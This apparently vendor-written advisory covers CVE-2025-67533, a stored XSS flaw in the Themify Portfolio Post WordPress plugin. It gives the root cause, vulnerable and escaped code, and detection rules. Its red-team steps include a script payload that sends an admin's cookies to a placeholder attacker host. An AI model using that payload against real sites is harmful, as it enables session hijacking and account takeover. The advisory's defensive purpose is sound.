CVE-2025-67533
Executive Summary
CVE-2025-67533 is a Stored Cross-Site Scripting (XSS) vulnerability in the Themify Portfolio Post WordPress plugin, developed by ThemifyMe. The flaw exists in versions up to and including 1.3.0, where the plugin fails to properly neutralize user-supplied input during web page generation. An authenticated attacker with contributor-level privileges or higher can inject malicious scripts into portfolio posts. When an administrator or other user views the compromised post, the script executes in their browser, potentially leading to session hijacking, credential theft, or defacement.
This vulnerability is part of the WordPress ecosystem and is not related to Apache or Nginx server configurations. The vendor has not released a patch, and no public exploit code or proof-of-concept is currently available. The EPSS score is 0.0%, indicating low exploitation activity at this time, but the risk remains significant for unpatched sites.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
Themify Portfolio Post is distributed via the official WordPress plugin repository and is also available as a premium add-on. Since the plugin is not an NPM, PyPI, Go, or Ruby package, supply chain risks are limited to the WordPress plugin ecosystem. However, users should verify the integrity of downloaded plugin files and monitor for unauthorized modifications.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L
- Base Score: 7.1 (High)
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: Low (Contributor or higher)
- User Interaction: Required (Admin viewing the post)
- Scope: Changed
- Confidentiality Impact: Low
- Integrity Impact: Low
- Availability Impact: Low
The vulnerability is classified as High severity due to the low attack complexity and the potential for stored XSS, which can lead to persistent compromise of admin sessions.
Deep Dive & Mechanics
The vulnerability resides in the themify-portfolio-post plugin, specifically in the way it handles user input for portfolio post titles, descriptions, or custom fields. The plugin does not sanitize or escape input before storing it in the database and later rendering it on the page. An attacker with contributor-level access can craft a portfolio post containing malicious JavaScript. When an administrator views the post in the WordPress admin panel or on the front end, the script executes.
Root Cause: The plugin uses echo or the_content filters without applying WordPress escaping functions like esc_html() or wp_kses_post() on user-supplied data.
Attack Flow:
- Attacker logs in as a contributor.
- Creates a new portfolio post with a payload in the title or custom field:
<script>alert('XSS')</script>. - The payload is stored in the database without sanitization.
- Admin or other user views the portfolio post.
- The script executes in the victim's browser.
Vulnerable vs. Patched Code
Since no patch is available, the vulnerable code is presumed to be in the plugin's template files or shortcode handlers. A typical vulnerable pattern in WordPress plugins is:
// Vulnerable code (themify-portfolio-post.php)
echo '<div class="portfolio-title">' . $post_title . '</div>';
A patched version would use:
// Patched code
echo '<div class="portfolio-title">' . esc_html( $post_title ) . '</div>';
The esc_html() function converts special characters to HTML entities, preventing script execution.
Exploitation & Lab Setup
Red Team
Prerequisites:
- WordPress instance with Themify Portfolio Post <= 1.3.0 installed and activated.
- Attacker account with Contributor role or higher.
Steps:
- Log in to WordPress as a contributor.
- Navigate to Portfolio Posts > Add New.
- In the title field, enter:
<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script> - Publish the post.
- Wait for an admin to view the post (e.g., via email notification or direct link).
Expected Result: The admin's browser sends their cookies to the attacker's server.
Blue Team
Detection:
- Monitor for portfolio posts containing script tags in titles or custom fields.
- Use WAF rules to block common XSS payloads in POST requests to
wp-admin/post-new.phporwp-admin/post.php. - Review server logs for requests to suspicious external domains from the WordPress admin interface.
Mitigation:
- Disable the plugin until a patch is available.
- Implement a Web Application Firewall (WAF) with XSS rules.
- Restrict contributor roles from creating portfolio posts if not needed.
Indicators of Compromise (IOCs)
- Network: Outbound HTTP requests to attacker-controlled domains from the WordPress server.
- File: Modified plugin files (e.g.,
themify-portfolio-post.php) containing injected code. - Database: Portfolio post titles or meta fields containing
<script>tags or obfuscated JavaScript. - Logs:
wp-content/debug.logentries showing PHP warnings related to unescaped output.
Detection Engineering
YARA Rule
rule Detect_Themify_Portfolio_Post_XSS {
meta:
description = "Detects stored XSS payloads in Themify Portfolio Post plugin"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-67533"
strings:
$xss_payload = /<script[^>]*>.*<\/script>/i
$plugin_path = "themify-portfolio-post"
condition:
$plugin_path and $xss_payload
}
Sigma Rule
title: Stored XSS in Themify Portfolio Post
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects stored XSS payloads in portfolio post titles or content
author: Valters IT
logsource:
category: webserver
product: wordpress
detection:
selection:
http.method: POST
http.url: '*/wp-admin/post-new.php*'
http.body: '*<script>*'
condition: selection
falsepositives:
- Legitimate use of JavaScript in posts (rare)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-67533 Stored XSS in Themify Portfolio Post"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/post-new.php"; http_uri; content:"<script>"; http_client_body; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the plugin until a patch is released.
- Restrict user roles – Remove contributor access for untrusted users.
- Apply virtual patching using a WAF to block XSS payloads in portfolio post submissions.
Long-term Fix:
- The vendor must release a patched version that properly escapes output using
esc_html(),esc_attr(), orwp_kses_post(). - Users should monitor the WordPress plugin repository for updates.
Workaround:
- If the plugin cannot be disabled, manually edit the plugin files to add escaping functions. For example, in
themify-portfolio-post.php, replace:
with:echo $post_title;echo esc_html( $post_title );
Valters IT
Securing Digital Frontiers
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.